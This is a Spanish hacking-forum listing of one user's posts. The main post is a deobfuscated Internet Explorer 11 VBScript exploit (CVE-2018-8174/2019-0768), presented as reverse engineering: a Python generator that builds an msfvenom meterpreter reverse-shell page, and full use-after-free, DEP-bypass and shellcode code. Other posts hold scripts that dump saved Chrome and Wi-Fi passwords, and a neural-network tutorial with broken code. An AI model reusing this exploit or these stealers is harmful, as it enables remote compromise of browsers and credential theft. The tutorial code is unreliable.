elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado:


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6
1  Programación / Python / Re: [Taller/Aporte] Introduccion a Redes Neuronales Artificiles e inteligencia artificial con Python en: 25 Abril 2025, 19:15 pm
Simplemente para que sepas, me interesa pero no lo entiendo. Podría decir que falta ver un ejemplo, el resultado, lo gráfico de eso ya que se habla de algo gráfico, pero creo que ni así lo entendería.

Es correcto. Me tomare el tiempo de investigar las librerias y tomar ejemplos con capturas y demas, asi se entendera mejor el tema. El uso de librerias facilita el desarrollo del codigo pero dichas librerias tienen mucho material ademas del material teorico de las redes neuronales que por si son complicadas. En unas semanas mejoro el Taller para crear una guia practica.

Saludos
2  Seguridad Informática / Análisis y Diseño de Malware / Re: Analizando supuesto Exploit en VBScript y Python de Internet Explorer 11 en: 25 Abril 2025, 19:06 pm
Codigo Decodificado

Analizando y reescribiendo las variables eliminando la molesta ofuscacion podemos entender mejor la funcionalidad del mismo. Pues bien, aunque ya existe documentacion no esta demas investigar y profundizar realizando algo de ingenieria inversa.

Código
  1.  
  2. import sys
  3. import subprocess
  4.  
  5. usage_text = """
  6. Exploit Generator for CVE-2018-8174 & CVE-2019-0768
  7.  
  8. Prerequisite:
  9. - Metasploit
  10. - msfvenom
  11.  
  12. Usage: python ie11_vbscript.py [Listener IP] [Listener Port]
  13.  
  14. Instruction:
  15. 1. Use this script to generate "exploit.html"
  16. 2. Host the html file on your server
  17. 3. Setup a handler with windows/meterpreter/reverse_tcp in Metasploit
  18. 4. In your handler, set AutoRunScript with "post/windows/manage/migrate"
  19. """
  20.  
  21. if len(sys.argv) != 3:
  22.    print(usage_text)
  23.    sys.exit()
  24.  
  25. listener_ip = sys.argv[1]
  26. listener_port = sys.argv[2]
  27. process = subprocess.Popen(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=" + listener_ip, "LPORT=" + listener_port, "-b", "'\\x00'", "-f", "js_le"], stdout=subprocess.PIPE)
  28.  
  29. output = process.communicate()
  30. payload_result = output[0]
  31. payload = """
  32. <!doctype html>
  33. <html lang="en">
  34. <head>
  35. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  36. <meta http-equiv="x-ua-compatible" content="IE=5">
  37. <meta http-equiv="Expires" content="0">
  38. <meta http-equiv="Pragma" content="no-cache">
  39. <meta http-equiv="Cache-control" content="no-cache">
  40. <meta http-equiv="Cache" content="no-cache">
  41. </head>
  42. <body>
  43. <script language="VBScript.Encode">
  44. (Exploit Code VBScript)
  45. </script>
  46. </body>
  47. </html>
  48. """
  49.  
  50. with open("exploit.html", "w") as f:
  51.    f.write(payload)
  52.  
  53.  

En "(Exploit Code VBScript)" esta etiqueta no es mas que el codigo VBScript con variables renombradas acontinuación.

Código
  1. Dim scriptVariable
  2. Dim array1(6), array2(6)
  3. Dim someVariable
  4. Dim memoryArray(40)
  5. Dim address1, address2
  6. Dim variable1
  7. Dim counter1, counter2
  8. Dim variable2, variable3
  9. Dim continueAddress, virtualProtectAddress
  10.  
  11. variable1 = 195948557
  12. address1 = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
  13. address2 = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
  14. someVariable = 195890093
  15.  
  16. Function generateQuery(Domain)
  17.    scriptVariable = 0
  18.    randomValue1 = 0
  19.    randomValue2 = 0
  20.    randomId = CLng(Rnd * 1000000)
  21.    scriptVariable = CLng((&h27d + 8231 - &H225b) * Rnd) Mod (&h137d + 443 - &H152f) + (&h1c17 + 131 - &H1c99)
  22.    If (randomId + scriptVariable) Mod (&h5c0 + 6421 - &H1ed3) = (&h10ba + 5264 - &H254a) Then
  23.        scriptVariable = scriptVariable - (&h86d + 6447 - &H219b)
  24.    End If
  25.  
  26.    randomValue1 = CLng((&h2bd + 6137 - &H1a6d) * Rnd) Mod (&h769 + 4593 - &H1940) + (&h1a08 + 2222 - &H2255)
  27.    randomValue2 = CLng((&h14e6 + 1728 - &H1b5d) * Rnd) Mod (&hfa3 + 1513 - &H1572) + (&h221c + 947 - &H256e)
  28.    generateQuery = Domain & "?" & Chr(randomValue1) & "=" & randomId & "&" & Chr(randomValue2) & "=" & scriptVariable
  29. End Function
  30.  
  31. Function encodeString(ByVal inputString)
  32.    Dim encodedString
  33.    encodedString = ""
  34.    For index = 0 To Len(inputString) - 1
  35.        encodedString = encodedString & convertToHex(Asc(Mid(inputString, index + 1, 1)), 2)
  36.    Next
  37.    encodedString = encodedString & "00"
  38.    If Len(encodedString) / (&h15c6 + 3068 - &H21c0) Mod (&h1264 + 2141 - &H1abf) = (&hc93 + 6054 - &H2438) Then
  39.        encodedString = encodedString & "00"
  40.    End If
  41.    For i = (&h1a1a + 3208 - &H26a2) To Len(encodedString) / (&h1b47 + 331 - &H1c8e) - (&h14b2 + 4131 - &H24d4)
  42.        part1 = Mid(encodedString, i * (&h576 + 1268 - &Ha66) + (&ha64 + 6316 - &H230f), (&ha49 + 1388 - &Hfb3))
  43.        part2 = Mid(encodedString, i * (&hf82 + 3732 - &H1e12) + (&h210 + 2720 - &Hcaf) + (&h4fa + 5370 - &H19f2), (&hf82 + 5508 - &H2504))
  44.        encodeString = encodeString & "%u" & part2 & part1
  45.    Next
  46. End Function
  47.  
  48. Function getUint32(value)
  49.    Dim result
  50.    memoryArray.mem(variable1 + 8) = value + 4
  51.    result = memoryArray.mem(variable1)
  52.    memoryArray.mem(variable1) = 2
  53.    getUint32 = result
  54. End Function
  55.  
  56. Function leakVBScriptAddress()
  57.    On Error Resume Next
  58.    Dim temp
  59.    temp = someVariable
  60.    temp = null
  61.    setMemoryValue temp
  62.    leakVBScriptAddress = getMemoryValue()
  63. End Function
  64.  
  65. Function getBaseAddressByDOSmodeSearch(importAddress)
  66.    Dim baseAddress
  67.    baseAddress = importAddress And &hffff0000
  68.    Do While getUint32(baseAddress + (&h748 + 4239 - &H176f)) <> 544106784 Or getUint32(baseAddress + (&ha2a + 7373 - &H268b)) <> 542330692
  69.        baseAddress = baseAddress - 65536
  70.    Loop
  71.    getBaseAddressByDOSmodeSearch = baseAddress
  72. End Function
  73.  
  74. Function compareStringsWrapper(value1, value2)
  75.    Dim tempString
  76.    tempString = ""
  77.    For i = (&ha2a + 726 - &Hd00) To Len(value2) - (&h2e1 + 5461 - &H1835)
  78.        tempString = tempString & Chr(getUint32(value1 + i))
  79.    Next
  80.    compareStringsWrapper = StrComp(UCase(tempString), UCase(value2))
  81. End Function
  82.  
  83. Function getBaseFromImport(baseAddress, dllName)
  84.    Dim importRVA, ntHeader, descriptor, importDirectory
  85.    Dim functionAddress
  86.    ntHeader = getUint32(baseAddress + (&h3c))
  87.    importRVA = getUint32(baseAddress + ntHeader + &h80)
  88.    importDirectory = baseAddress + importRVA
  89.    descriptor = 0
  90.    Do While True
  91.        Dim name
  92.        name = getUint32(importDirectory + descriptor * (&h14) + &hc)
  93.        If name = 0 Then
  94.            getBaseFromImport = &hBAAD0000
  95.            Exit Function
  96.        Else
  97.            If compareStringsWrapper(baseAddress + name, dllName) = 0 Then
  98.                Exit Do
  99.            End If
  100.        End If
  101.        descriptor = descriptor + 1
  102.    Loop
  103.    functionAddress = getUint32(importDirectory + descriptor * (&h14) + &h10)
  104.    getBaseFromImport = getBaseAddressByDOSmodeSearch(getUint32(baseAddress + functionAddress))
  105. End Function
  106.  
  107. Function getProcAddress(dllBase, functionName)
  108.    Dim exportDirectory, index
  109.    Dim functionRVAs, functionNames, functionOrdinals
  110.    Dim functionAddress
  111.    exportDirectory = getUint32(dllBase + &h3c)
  112.    exportDirectory = getUint32(dllBase + exportDirectory + &h78)
  113.    exportDirectory = dllBase + exportDirectory
  114.  
  115.    functionRVAs = dllBase + getUint32(exportDirectory + &h1c)
  116.    functionNames = dllBase + getUint32(exportDirectory + &h20)
  117.    functionOrdinals = dllBase + getUint32(exportDirectory + &h24)
  118.    index = 0
  119.    Do While True
  120.        Dim functionNameAddress
  121.        functionNameAddress = getUint32(functionNames + index * 4)
  122.        If compareStringsWrapper(dllBase + functionNameAddress, functionName) = 0 Then
  123.            Exit Do
  124.        End If
  125.        index = index + 1
  126.    Loop
  127.    functionAddress = getUint32(functionOrdinals + index * 2)
  128.    getProcAddress = dllBase + functionAddress
  129. End Function
  130.  
  131. Function getShellcode()
  132.    Dim shellcode
  133.    shellcode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("{shellcode}" & encodeString(generateQuery("")))
  134.    shellcode = shellcode & String((&h80000 - LenB(shellcode)) / 2, Unescape("%u4141"))
  135.    getShellcode = shellcode
  136. End Function
  137.  
  138. Function escapeAddress(ByVal value)
  139.    Dim highPart, lowPart
  140.    highPart = convertToHex((value And &hffff0000) / &h10000, 4)
  141.    lowPart = convertToHex(value And &hffff, 4)
  142.    escapeAddress = Unescape("%u" & lowPart & "%u" & highPart)
  143. End Function
  144.  
  145. Function prepareShellcode()
  146.    Dim shellcodeString, part1, part2, part3, part4
  147.    part1 = convertToHex(continueAddress, 8)
  148.    part2 = Mid(part1, 1, 2)
  149.    part3 = Mid(part1, 3, 2)
  150.    part4 = Mid(part1, 5, 2)
  151.    shellcodeString = ""
  152.    shellcodeString = shellcodeString & "%u0000%u" & part4 & "00"
  153.    For i = 1 To 3
  154.        shellcodeString = shellcodeString & "%u" & part3 & part2
  155.        shellcodeString = shellcodeString & "%u" & part4 & part2
  156.    Next
  157.    shellcodeString = shellcodeString & "%u" & part3 & part2
  158.    shellcodeString = shellcodeString & "%u00" & part2
  159.    prepareShellcode = Unescape(shellcodeString)
  160. End Function
  161.  
  162. Function wrapShellcodeWithNtContinueContext(shellcodeAddress)
  163.    Dim shellcodeWrapper
  164.    shellcodeWrapper = String((100334 - 65536), Unescape("%u4141"))
  165.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress)
  166.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress)
  167.    shellcodeWrapper = shellcodeWrapper & escapeAddress(&h3000)
  168.    shellcodeWrapper = shellcodeWrapper & escapeAddress(&h40)
  169.    shellcodeWrapper = shellcodeWrapper & escapeAddress(shellcodeAddress - 8)
  170.    shellcodeWrapper = shellcodeWrapper & String(6, Unescape("%u4242"))
  171.    shellcodeWrapper = shellcodeWrapper & prepareShellcode()
  172.    shellcodeWrapper = shellcodeWrapper & String((&h80000 - LenB(shellcodeWrapper)) / 2, Unescape("%u4141"))
  173.    wrapShellcodeWithNtContinueContext = shellcodeWrapper
  174. End Function
  175.  
  176. Function expandWithVirtualProtect(shellcodeLocation)
  177.    Dim virtualProtectExpansion
  178.    Dim adjustedLocation
  179.    adjustedLocation = shellcodeLocation + &h23
  180.    virtualProtectExpansion = ""
  181.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(adjustedLocation)
  182.    virtualProtectExpansion = virtualProtectExpansion & String((&hb8 - LenB(virtualProtectExpansion)) / 2, Unescape("%4141"))
  183.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(virtualProtectAddress)
  184.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(&h1b)
  185.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(0)
  186.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(shellcodeLocation)
  187.    virtualProtectExpansion = virtualProtectExpansion & escapeAddress(&h23)
  188.    virtualProtectExpansion = virtualProtectExpansion & String((&400 - LenB(virtualProtectExpansion)) / 2, Unescape("%u4343"))
  189.    expandWithVirtualProtect = virtualProtectExpansion
  190. End Function
  191.  
  192. Sub executeShellcode()
  193.    memoryArray.mem(variable1) = &h4D ' DEP bypass
  194.    memoryArray.mem(variable1 + 8) = 0
  195.    msgbox(variable1) ' VT replaced
  196. End Sub
  197.  
  198. Class Class1
  199.    Private Sub Class_Terminate()
  200.        Set array1(IllI) = allocateMemory((&h1078 + 5473 - &H25d8))
  201.        IllI = IllI + (&h14b5 + 2725 - &H1f59)
  202.        allocateMemory((&h79a + 3680 - &H15f9)) = (&h69c + 1650 - &Hd0d)
  203.    End Sub
  204. End Class
  205.  
  206. Class Class2
  207.    Private Sub Class_Terminate()
  208.        Set array2(IllI) = allocateMemory((&h15b + 3616 - &Hf7a))
  209.        IllI = IllI + (&h880 + 542 - &Ha9d)
  210.        allocateMemory((&h1f75 + 342 - &H20ca)) = (&had3 + 3461 - &H1857)
  211.    End Sub
  212. End Class
  213.  
  214. Class Class3
  215. End Class
  216.  
  217. Class MemoryClass
  218.    Dim memory
  219.    Function P
  220.    End Function
  221.    Function SetProperty(Value)
  222.        memory = Value
  223.        SetProperty = 0
  224.    End Function
  225. End Class
  226.  
  227. Class MemoryAccessClass
  228.    Dim memory
  229.    Function GetMemoryLength
  230.        GetMemoryLength = LenB(memory(variable1 + 8))
  231.    End Function
  232.    Function SPP
  233.    End Function
  234. End Class
  235.  
  236. Class MemoryHandlerClass
  237.    Public Default Property Get P
  238.        Dim temp
  239.        P = 174088534690791e-324
  240.        For i = (&h7a0 + 4407 - &H18d7) To (&h2eb + 1143 - &H75c)
  241.            array1(i) = (&h2176 + 711 - &H243d)
  242.        Next
  243.        Set temp = New MemoryAccessClass
  244.        temp.memory = address1
  245.        For i = (&h1729 + 3537 - &H24fa) To (&h1df5 + 605 - &H204c)
  246.            Set array1(i) = temp
  247.        Next
  248.    End Property
  249. End Class
  250.  
  251. Class MemoryHandlerClass2
  252.    Public Default Property Get P
  253.        Dim temp
  254.        P = 636598737289582e-328
  255.        For i = (&h1063 + 2314 - &H196d) To (&h4ac + 2014 - &Hc84)
  256.            array2(i) = (&h442 + 2598 - &He68)
  257.        Next
  258.        Set temp = New MemoryAccessClass
  259.        temp.memory = address2
  260.        For i = (&h7eb + 3652 - &H162f) To (&h3e8 + 1657 - &Ha5b)
  261.            Set array2(i) = temp
  262.        Next
  263.    End Property
  264. End Class
  265.  
  266. Set memoryHandler1 = New MemoryHandlerClass
  267. Set memoryHandler2 = New MemoryHandlerClass2
  268.  
  269. Sub useAfterFree()
  270.    For i = (&hfe8 + 3822 - &H1ed6) To (&h8b + 8633 - &H2233)
  271.        Set array1(i) = New Class1
  272.    Next
  273.    For i = (&haa1 + 6236 - &H22e9) To (&h1437 + 3036 - &H1fed)
  274.        Set array1(i) = New Class2
  275.    Next
  276.    IllI = 0
  277.    For i = 0 To 6
  278.        ReDim array1(1)
  279.        Set array1(1) = New Class1
  280.        Erase array1
  281.    Next
  282.    Set memoryHandler = New MemoryClass
  283.    IllI = 0
  284.    For i = 0 To 6
  285.        ReDim array1(1)
  286.        Set array1(1) = New Class2
  287.        Erase array1
  288.    Next
  289.    Set memoryHandler2 = New MemoryClass
  290. End Sub
  291.  
  292. Sub initializeObjects()
  293.    memoryHandler.SetProperty(memoryHandler1)
  294.    memoryHandler2.SetProperty(memoryHandler2)
  295.    variable1 = memoryHandler2.memory
  296. End Sub
  297.  
  298. Sub startExploit()
  299.    useAfterFree()
  300.    initializeObjects()
  301.    vbScriptAddress = leakVBScriptAddress()
  302.    ' Alert "CScriptEntryPointObject Leak: 0x" & Hex(vbScriptAddress) & vbcrlf & "VirtualTable address: 0x" & Hex(getUint32(vbScriptAddress))
  303.    vbScriptBase = getBaseAddressByDOSmodeSearch(getUint32(vbScriptAddress))
  304.    ' Alert "VBScript Base: 0x" & Hex(vbScriptBase)
  305.    msvcrtBase = getBaseFromImport(vbScriptBase, "msvcrt.dll")
  306.    ' Alert "MSVCRT Base: 0x" & Hex(msvcrtBase)
  307.    kernelBase = getBaseFromImport(msvcrtBase, "kernelbase.dll")
  308.    ' Alert "KernelBase Base: 0    
  309. ' Alert "KernelBase Base: 0x" & Hex(kernelBase)
  310.    ntdllBase = getBaseFromImport(msvcrtBase, "ntdll.dll")
  311.    ' Alert "Ntdll Base: 0x" & Hex(ntdllBase)
  312.    virtualProtectAddress = getProcAddress(kernelBase, "VirtualProtect")
  313.    ' Alert "KernelBase!VirtualProtect Address 0x" & Hex(virtualProtectAddress)
  314.    ntContinueAddress = getProcAddress(ntdllBase, "NtContinue")
  315.    ' Alert "KernelBase!NtContinue Address 0x" & Hex(ntContinueAddress)
  316.  
  317.    setMemoryValue getShellcode()
  318.    shellcodeAddress = getMemoryValue() + 8
  319.    ' Alert "Shellcode Address 0x" & Hex(shellcodeAddress)
  320.    setMemoryValue wrapShellcodeWithNtContinueContext(shellcodeAddress)
  321.    locationToExpand = getMemoryValue() + 69596
  322.    setMemoryValue expandWithVirtualProtect(locationToExpand)
  323.    finalMemoryValue = getMemoryValue()
  324.    executeShellcode
  325.    Alert "Executing Shellcode"
  326. End Sub
  327.  
  328. startExploit()
  329.  
  330.  

En el proximo mensaje describo a detalle los datos de funcionamiento y si logro entenderlo la explicación detallada.

Saludos Black Hacker
3  Programación / Python / [Taller/Aporte] Introduccion a Redes Neuronales Artificiles e inteligencia artificial con Python en: 18 Abril 2025, 21:47 pm
Clase Nº 1
IA VS ML VS DL
Dentro de la inteligencia artificial tenemos
Machine Learning (ML): Las computadoras aprenden en base a experiencias pasadas, subconjunto de este esta el
Deep Learning (DL): Crear predicciones y clasificaciones basado en redes neuronales artificiales profundas (RNA) utilizando grandes conjuntos de datos el cerebro humano esta formado por miles de millones de neuronas que se comunican entre si medientes señales electricas.

Lo que diferencia el aprendizaje profundo de las tecnicas de aprendizaje de las maquinas es su capacidad para extraer características automaticamente

Procesos Machine Learning:
  • 1. Seleccionar el modelo a entrenar
  • 2. realizar manualmente la extracción de características.

Procesos Deep Learning:
  • 1. Seleccionar la arquitectura de la red
  • 2. las características se extraen automáticamente alimentando los datos de entrenamiento junto con la clase de objectivo.

Proyecto 1: Convertir Celsius a Fahrenheit.

En este proyecto, construiremos un simple modelo de aprendizaje de máquinas para convertir las temperaturas de Celsius a Fahrenheit.
La ecuación es la siguiente

 T(ºF) = T(ºC) * (9/5) + 32
Ejemplo T(ºF) = (0ºC * 9/5) +32 = 32ºF

El objectivo es predecir el valor de una variable Y en base a otra variable X.
X se llama la variable independiente e Y se llama la variable dependiente
Esto se llama "Regresión" y se tratará con mucho mas a detalle.

Que son las Redes Neuronales Artificiales (RNA)

Son modelos de procesamiento de información inspirados en el cerebro humano. Donde tenemos un conjunto de entrenadas y nos devuelve un valor de salida.

vamos a ver cómo funcionan, tenemos el cerebro y la imagen de un gato, la imagen es un input y la funcion del cerebro es predecir que la imagen es un gato, cuando la imagen entra al cerebro (RNA) lo "correlaciona" con "experiencias pasadas" encuentra las características y reconoce. Mas el aprendizaje seria el siguiente, al analizar la imagen calcula cuando es correcto, si se equivocó o no y se genera una perdida (función de perdida) que crea una retroalimentación que se relaciona con una "Actualización de Pesos", todo pasa una y otra vez hasta que la neurona va reduciendo su funcion perdida.

Contruyamos la red más simple (Un modelo de una sola neurona)

Cargamos una lista con datos de entrenamiento (una tabla de Celsius a Fahrenheit)

Primero importamos la libreria tensorflow en python

Código
  1. import tensorflow as tf

la libreria panda que perdimite cargar el set de datos y trabajar con el en las sets de entrenamiento y prueba básicamente (base de datos y archivos)

Código
  1. import pandas as pd

la libreria numpy nos permite trabajar con matrices y matemátaicas.

Código
  1. import numpy as np

la libreria seaborn para hacer las visualizaciones de nuestro modelo.

Código
  1. import seaborn as sns

finalmente vamos a hacer splots de nuestro modelo para ver los gráficos con la libreria "matplotlib.pyplot"

Código
  1. import matploitlib.pyplot as plt

nota: en caso de no tener las librerias disponibles ejecutar el siguiente comando pip install nombre_de_la_libreria. continuamos

importamos el set de datos (base de datos) del set de entrenamiento

Código
  1. #Importando Datos
  2. temperatura_df = pd.read_csv("celsius_a_fahrenheit.cvs")

el archivo "celsius_a_fahrenheit.cvs" es un documento abierto en excel con dos colummnas, la primera en Celsius (variable independiente) y la segunda en Fahrenheit (este set de datos puede crearse automaticamente usando una macro)

Celsius/Fahrenheit
**** / ****
**** / ****
**** / ****
**** / ****
...
...
...
**** / ****

a mayor cantidad de datos mejor sera en entrenamiento en este caso.

Para la visualización de datos

Código
  1. #visualizacion
  2. sns.scatterplot(temperature_df['Celsius'],temperature_df['Fahrenheit'])

siguiente

Código
  1. #Cargando Set de Datos
  2. X_train = temperature_df['Celsius']
  3. y=train = temperature_df['Fahrenheit']

Creamos el modelo con tensorflow

Código
  1. #Creando el modelo
  2. model = tf.keras.Sequential()

Sequential() significa que vamos a crear nuestro modelo capa por capa de manera "secuencial", recordemos que las neuronas tienen puntos de entrada tienen acciones dendritas sinapsis y todo eso hace a la neurona. entonces vamos a agregar, creamos la primera capa de nuestro modelo con la variable model agregamos la capa con el subcomando ".add()" y usamos el comando "tf.keras.layers"
Código
  1. model.add(tf.keras.layers.Dense(units=1, input_shape[1]))

la capa Dense es de las capaz mas simples, donde los parametros de entrada son "units" cantidad de neuronas en este caso nos basta con solo una e "input_shape" que el valor sera tambien 1.

Cuando trabajamos con IA debemos ver el modelo, con eso vemos la red antes de trabajar.

Código
  1. model.summary()

Las redes neuronales aprenden atravez de la funcion de perdida y ajustes de pesos (sesgos)

Código
  1. #Compilado
  2. model.compile(optimizer=tf.keras.optimizers.Adam(0.5), loss='mean_squared_error')

En estadistica el error medio cuadrado es llamada desviación media cuadrada de un estimador mide el promedio de los cuadrados de los errores, es decir, la diferencia media cuadrada entre los valores estimados. El error medio cuadrado es una función de riesgo que corresponde al valor esperado de la perdida del error al cuadrado. Y lo que buscamos es la perdida del error para poder optimizar nuestra red.

Con lo anterior ya hemos compilado el modelo ahora nos falta una funcion que nos perdida entrena el modelo.
crear una funcion que nos perdima actualizar nuestros pesos corriendo atraves del set de datos para ajustar los pesos, por eso se cargo el set de datos en las variables X_train y y_train. llamos al modelo secuencia y le agregamos una neurona con la capa tipo Dense definiendo una neurona y una salida, compilamos el modelo en base a un optimizador y un modelo de errores.

Tenemos que crear una lista de epochs, el epochs es el numero de ciclos cuando se lee todo el set de entrenamiento.

Código
  1. #Entrenando el modelo
  2. epochs_hist = model.fit(x_train, y_train, epochs = 100)

el entrenamiento dura realmente poco porque estamos trabajando con regresion lineal y porque el set de datos esta definido bajo un numero relativamente pequeño de entradas y salidas (recomendable ajustar la base de datos a 30 lineas en el excel)

cuando entrenamos el modelo veremos que la optimizacion del modelo esta basado en el valor "loss" a menor sea el valor mas exacto es el modelo.

nos interesa ver el historial de entrenamiento

Código
  1. #Evaluando modelo
  2. epochs_hist.history.keys()

obtiene las llaves o claves del entrenamiento

Código
  1. #grafico
  2. plt.plot(epochs_hist.history['loss'])
  3. plt.title('Progreso de perdida durante el entrenamiento del modelo')
  4. plt.xlabel('Epoch')
  5. plt.ylabel('Training Loss')
  6. plt.legends('Training Loss')

Lo anterior muestra la evolucion al modelo respecto a numero de ciclos de entrenamiento "epochs".

obtenemos los pesos del modelo
Código
  1. model.get_weights()

Ahora nos interesa hacer prediciones, comparamos el modelo con la ecuacion "ya que existe la formala determista" con eso evaluamos la exactitud del mismo.
Código
  1. #Predicciones
  2. Temp_C = 0
  3. temp_F = model.predict([Temp_C])
  4. print(temp_F)
  5.  
  6. #formula
  7. Temp_F = (9/5)*Temp_c + 32.
  8. print(Temp_F)

y comparamos. para mejorar la prediccion podemos cambiar el modelo de compilado de 0.5 a 1
Código
  1. #Compilado
  2. model.compile(optimizer=tf.keras.optimizers.Adam(1), loss='mean_squared_error')

Con lo anterior terminamos el modelo basico para iniciar con inteligencia artificial. E aqui el codigo fuente completo.

Código
  1. import tensorflow as tf
  2. import pandas as pd
  3. import numpy as np
  4. import seaborn as sns
  5. import matplotlib.pyplot as plt
  6.  
  7. #impotando Datos
  8. temperature_df = pd.read_csv("celsius_a_fahrenheit.csv")
  9.  
  10. #Visualizacion
  11. sns.scatterplot(temperature_df['celsius'], temperature_df['fahrenheit'])
  12.  
  13. #Cargando Set de Datos
  14. X_train = temperature_df['Celsius']
  15. y_train = temperature_df['Fahrenheit']
  16.  
  17. #Creando el modelo
  18. model = tf.keras.sequential()
  19. model.add(tf.keras.layers.DEnse(units=1, input_shape=[1]))
  20.  
  21. model.summaryÇ()
  22.  
  23. #compilado
  24. model.compile(optimizar=tf.keras.optimizers.Adam(1),loss='mean_squared_error')
  25.  
  26. #Entrenando el modelo
  27. epochs_hist = model.fit(x_train, y_train, epochs=100)
  28.  
  29. #Evaluando modelo
  30. epochs_hist.history.keys()
  31.  
  32. #gafico
  33. plt.plot(epochs_hist.history['loss'])
  34. plt.title('Progreso de perdida durante el entrenamiento del modelo')
  35. plt.xlabel('Epoch')
  36. plt.ylabel('Training Loss')
  37. plt.legends('Training Loss')
  38.  
  39. model.get_weights()
  40.  
  41. #Predicciones
  42. Temp_C = 0
  43. temp_F = model.predict([Temp_C])
  44. print(temp_F)
  45.  
  46. #formula
  47. Temp_F = (9/5)*Temp_c + 32.
  48. print(Temp_F)

Saludos
4  Programación / Scripting / [AYUDA] Script Python para extraer informacion de Google Chrome en Windows en: 11 Abril 2025, 23:33 pm
Saludos comunidad, esto no representa un aporte real sino un codigo que estaba estudiando en python como parte del inicio de mi portafolio personal y me encuentro con el siguiente Script. Requiere 2 librerias

Código
  1. import os
  2. import sqlite3
  3. import win32crypt #pip install pypiwin32
  4.  
  5. def get_chrome():
  6.  data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
  7.  c = sqlite3.connect(data_path)
  8.  cursor = c.cursor()
  9.  select_statement = 'SELECT origin_url, username_value, password_value FROM Logins'
  10.  cursor.execute(select_statement)
  11.  
  12.  login_data = cursor.fetchall()
  13.  
  14.  cred = {}
  15.  string = ''
  16.  
  17.  for url, user_name, pws in login_data:
  18.    pwd = win32crypt.CryptUnprotectData(pwd)
  19.    cred[url] = (user_name, pwd[1].decode('utf8'))
  20.    string += '\n[+] URL:%s USERNAME: %s PASSWORD: %s\n' % (url, user_name, pwd[1].decode('utf8'))
  21.    print(string)
  22.    os.system('pause')
  23.  
  24. if __name__ == '__main__':
  25.  get_chrome()
  26.  
  27. '''
  28.  File "\code\get_chrome.py", line 10, in get_chrome
  29.    cursor.execute(select_statement)
  30. sqlite3.OperationalError: database is locked
  31. '''

me devuelve un error de sqlite3.OperationalError: database is locked.

Saludos
5  Programación / Scripting / Re: [APORTE] Batch que devuelva contraseñas Wifi guardadas de Windows 10 en: 11 Abril 2025, 16:38 pm
Saludos

Aqui otro aporte en Python una replica del primer script

Código
  1. import subprocess
  2. import re
  3. import os
  4.  
  5. def get_wifi_profiles():
  6.    """Obtiene los nombres de los perfiles de Wi-Fi guardados."""
  7.    try:
  8.        profiles_output = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles'], text=True)
  9.        return re.findall(r'Perfil\s*:\s*(.*)', profiles_output)
  10.    except subprocess.CalledProcessError:
  11.        print("Error al obtener los perfiles de Wi-Fi.")
  12.        return []
  13.  
  14. def get_wifi_password(profile):
  15.    """Obtiene la contraseña de un perfil de Wi-Fi específico."""
  16.    try:
  17.        result = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', profile, 'key=clear'], text=True)
  18.        password_match = re.search(r'Contenido de la clave\s*:\s*(.*)', result)
  19.        return password_match.group(1).strip() if password_match else "La contraseña está vacía"
  20.    except subprocess.CalledProcessError:
  21.        return "Error al obtener la contraseña"
  22.  
  23. def save_to_file(wifi_passwords):
  24.    """Guarda las contraseñas de Wi-Fi en un archivo de texto."""
  25.    computer_name = os.environ['COMPUTERNAME']
  26.    log_file = f'Wifi_Passwords_on_{computer_name}.txt'
  27.  
  28.    with open(log_file, 'w') as f:
  29.        f.write("***********************************************\n")
  30.        f.write(f"Contraseñas de Wi-Fi en {computer_name}\n")
  31.        f.write("***********************************************\n\n")
  32.        for ssid, password in wifi_passwords.items():
  33.            f.write(f"[SSID: {ssid}] => \"{password}\"\n")
  34.    print(f"Contraseñas guardadas en {log_file}")
  35.  
  36. def main():
  37.    wifi_passwords = {}
  38.    profiles = get_wifi_profiles()
  39.  
  40.    for profile in profiles:
  41.        profile = profile.strip()
  42.        password = get_wifi_password(profile)
  43.        wifi_passwords[profile] = password
  44.        print(f"[SSID: {profile}] => \"{password}\"")
  45.  
  46.    save_to_file(wifi_passwords)
  47.  
  48. if __name__ == "__main__":
  49.    main()

Lo anterior es ineficiente ya que llama a la misma funcion netsh wlan. Lo siguiente requiere la libreria PyWifi

Código
  1. import os
  2. import pywifi
  3. from pywifi import const, Profile
  4.  
  5. def get_wifi_passwords():
  6.    """Obtiene los nombres de los perfiles de Wi-Fi y sus contraseñas."""
  7.    wifi = pywifi.PyWiFi()
  8.    iface = wifi.interfaces()[0]  # Usar la primera interfaz Wi-Fi
  9.  
  10.    wifi_passwords = {}
  11.  
  12.    # Obtener los perfiles guardados
  13.    profiles = iface.scan_results()
  14.  
  15.    for profile in profiles:
  16.        ssid = profile.ssid
  17.        iface.remove_all_networks()  # Limpiar redes anteriores
  18.        iface.add_network_profile(profile)  # Agregar el perfil actual
  19.  
  20.        # Intentar conectarse para obtener la contraseña
  21.        iface.connect(iface.add_network_profile(profile))
  22.        iface.disconnect()  # Desconectar inmediatamente
  23.  
  24.        # Obtener la contraseña
  25.        password = profile.akm[0] if profile.akm else "La contraseña está vacía"
  26.        wifi_passwords[ssid] = password
  27.  
  28.    return wifi_passwords
  29.  
  30. def save_to_file(wifi_passwords):
  31.    """Guarda las contraseñas de Wi-Fi en un archivo de texto."""
  32.    computer_name = os.environ['COMPUTERNAME']
  33.    log_file = f'Wifi_Passwords_on_{computer_name}.txt'
  34.  
  35.    with open(log_file, 'w') as f:
  36.        f.write("***********************************************\n")
  37.        f.write(f"Contraseñas de Wi-Fi en {computer_name}\n")
  38.        f.write("***********************************************\n\n")
  39.        for ssid, password in wifi_passwords.items():
